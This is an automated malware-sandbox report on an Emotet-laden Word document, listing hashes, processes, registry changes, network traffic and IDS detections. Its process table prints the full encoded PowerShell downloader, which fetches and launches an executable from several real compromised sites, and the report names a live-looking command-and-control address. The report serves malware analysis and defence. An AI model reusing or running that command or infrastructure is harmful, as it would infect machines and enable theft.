| File name: | wer.doc |
| Full analysis: | https://app.any.run/tasks/5689e7b2-4acb-4956-ba25-dea33301d85f |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | October 14, 2019, 02:24:39 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: user-centric, Subject: SMS, Author: Raheem Nolan, Keywords: redundant, Comments: magnetic, Template: Normal.dotm, Last Saved By: Nina Glover, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Oct 11 07:46:00 2019, Last Saved Time/Date: Fri Oct 11 07:46:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 170, Security: 0 |
| MD5: | 9E72A665671B32DD17A1351CA7B2974C |
| SHA1: | 4C34814A8ACC58BD1445DA586CE5CAA6F1137021 |
| SHA256: | 00457E5CED3585A42AECCACF36666B795DE90DD97D479C08D7F67BDFD08DC226 |
| SSDEEP: | 6144:y7NMZlGKUzSFnLx3AZf2tkpjpw3wfO97o+5T:y7NMZl7UGFt3A12ypjpwg29B |
MALICIOUS
Application was dropped or rewritten from another process
- 997.exe (PID: 1268)
- 997.exe (PID: 820)
- msptermsizes.exe (PID: 3964)
- msptermsizes.exe (PID: 2548)
Downloads executable files from the Internet
- powershell.exe (PID: 4052)
Emotet process was detected
- 997.exe (PID: 820)
Changes the autorun value in the registry
- msptermsizes.exe (PID: 2548)
Connects to CnC server
- msptermsizes.exe (PID: 2548)
EMOTET was detected
- msptermsizes.exe (PID: 2548)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 4052)
Creates files in the user directory
- powershell.exe (PID: 4052)
Executable content was dropped or overwritten
- powershell.exe (PID: 4052)
- 997.exe (PID: 820)
PowerShell script executed
- powershell.exe (PID: 4052)
Application launched itself
- 997.exe (PID: 1268)
- msptermsizes.exe (PID: 3964)
Starts itself from another location
- 997.exe (PID: 820)
Connects to server without host name
- msptermsizes.exe (PID: 2548)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2384)
Dropped object may contain Bitcoin addresses
- powershell.exe (PID: 4052)
- 997.exe (PID: 820)
Creates files in the user directory
- WINWORD.EXE (PID: 2384)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | user-centric |
|---|---|
| Subject: | SMS |
| Author: | Raheem Nolan |
| Keywords: | redundant |
| Comments: | magnetic |
| Template: | Normal.dotm |
| LastModifiedBy: | Nina Glover |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:10:11 06:46:00 |
| ModifyDate: | 2019:10:11 06:46:00 |
| Pages: | 1 |
| Words: | 29 |
| Characters: | 170 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Kreiger - Boyer |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 198 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Kuhn |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 820 | --d3f25675 | C:\Users\admin\997.exe | 997.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1268 | "C:\Users\admin\997.exe" | C:\Users\admin\997.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2384 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\wer.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2548 | --f91b2738 | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | msptermsizes.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3964 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 997.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 4052 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjAHgANAAwADAANgA2ADAAMQAwADgAPQAnAGMANwAwAHgAOABjADgAMwA3ADEAMAAwACcAOwAkAHgANQAzADAAMwA5ADAAMABiADcANgA1ACAAPQAgACcAOQA5ADcAJwA7ACQAYgAzADQANwAwADAANQA3ADAAMAAzAD0AJwB4ADIANwAzADYAMQAyADMAMQA3ADAAMgB4ACcAOwAkAGIAMAAwAHgANwBjADIANwAzADkAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeAA1ADMAMAAzADkAMAAwAGIANwA2ADUAKwAnAC4AZQB4AGUAJwA7ACQAYwA0ADAAMABiADMANQAwADMAeAAwAD0AJwB4ADAAYwAzADcAMABiADMAOAA4ADUAJwA7ACQAYgAwAGMAMAA4AGIAOQAwADUAMABjADIANAA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBFAE4AVAA7ACQAYwA5ADAANwAzADEANQAwADkANwBjADkAOQA9ACcAaAB0AHQAcABzADoALwAvAGoAYQB2AGMAYQBzAHQAbABlAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AVABiAGEAWgAvACoAaAB0AHQAcABzADoALwAvAG4AaQBuAGkAbgBnAHcAaQBuAGQAYQByAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARgBrAG8AYgBaAFYAUgBjAHAALwAqAGgAdAB0AHAAOgAvAC8AbgBkAGMAZwBjAC4AbwByAGcALwBjAG8AbQBwAHYAaQBlAHcALwBYAHgAYQB6AFIAQwBNAHIAcQBHAC8AKgBoAHQAdABwADoALwAvAHAAbwBsAGkAcwBoAG0AZQBuAGEAaQBsAGIAbwB1AHQAaQBxAHUAZQAuAGMAbwBtAC8ASABpAGcAaABlAG4AZABXAFAALwBqADYAbwBlAGoANgBrAF8ANwB1AGQAaQBoADYAbQA4AHIALQA2ADQANQAyADIAOAAxAC8AKgBoAHQAdABwAHMAOgAvAC8AYgByAG8AdQBxAC0AcwBhAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwADUAOABkADYAdQB3AHkAegBfAGkAeAAxAGYAcgBxAGwAbgAtADcANAA1ADAANAA4ADgAMAA2AC8AJwAuACIAcwBQAGwAYABpAHQAIgAoACcAKgAnACkAOwAkAGMAMwA5ADYAMgAwAHgAMQA5ADUAeAA9ACcAYgAwADMAMQAyADcANwB4ADMAMQA0ADcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGMAMQAxADAAOQAyAGMANgBiADYAMAAzADkAIABpAG4AIAAkAGMAOQAwADcAMwAxADUAMAA5ADcAYwA5ADkAKQB7AHQAcgB5AHsAJABiADAAYwAwADgAYgA5ADAANQAwAGMAMgA0AC4AIgBEAE8AdwBgAE4ATABgAE8AQQBgAGQAZgBJAGwARQAiACgAJABjADEAMQAwADkAMgBjADYAYgA2ADAAMwA5ACwAIAAkAGIAMAAwAHgANwBjADIANwAzADkAYgApADsAJABjADAAYwAwADQAMAAwADYAYgBjADAAPQAnAGIAMAAyADUAYgAwAGIAMQAyADAANAAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAGIAMAAwAHgANwBjADIANwAzADkAYgApAC4AIgBsAGUAbgBgAGcAVABIACIAIAAtAGcAZQAgADIANgA5ADgANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAFIAVAAiACgAJABiADAAMAB4ADcAYwAyADcAMwA5AGIAKQA7ACQAeAA1AGIAMgAwADcAOABjADQANgA4AD0AJwBiAHgAOABjADQANgA2ADAAeABiADkAMwAnADsAYgByAGUAYQBrADsAJAB4ADYAMAAwADUANQA5ADAAYgAwADAAMAA9ACcAYgA3ADkAMAA1AGMANwAxADcAMAAwADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAeAAzADQAMABiAHgANwA4ADYAMAAxAD0AJwBiADAAOAAyADYANABiADcANAA0ADAAMAA4ACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 247
Read events
1 430
Write events
691
Delete events
126
Modification events
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | yaa |
Value: 7961610050090000010000000000000000000000 | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2384) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1330511934 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
15
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA979.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 4052 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\44GAD7V81XPEKGQASKXY.temp | — | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$wer.doc | pgc | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5311322.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\18371065.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6F6F84BB.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DCF3F80.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2384 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1F81FCF4.wmf | wmf | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
6
DNS requests
3
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4052 | powershell.exe | GET | 200 | 104.31.66.208:80 | http://ndcgc.org/compview/XxazRCMrqG/ | US | executable | 276 Kb | suspicious |
2548 | msptermsizes.exe | POST | 200 | 186.75.241.230:80 | http://186.75.241.230/dma/usbccid/ | PA | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4052 | powershell.exe | 159.65.4.213:443 | javcastle.com | — | US | unknown |
4052 | powershell.exe | 101.50.1.68:443 | niningwindarti.com | PT. Beon Intermedia | ID | suspicious |
4052 | powershell.exe | 104.31.66.208:80 | ndcgc.org | Cloudflare Inc | US | suspicious |
2548 | msptermsizes.exe | 186.75.241.230:80 | — | Cable & Wireless Panama | PA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
javcastle.com |
| unknown |
niningwindarti.com |
| suspicious |
ndcgc.org |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
4052 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
4052 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
4052 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
4052 | powershell.exe | Generic Protocol Command Decode | SURICATA TLS invalid record type |
4052 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4052 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
4052 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2548 | msptermsizes.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 9 |
2548 | msptermsizes.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
2548 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3 ETPRO signatures available at the full report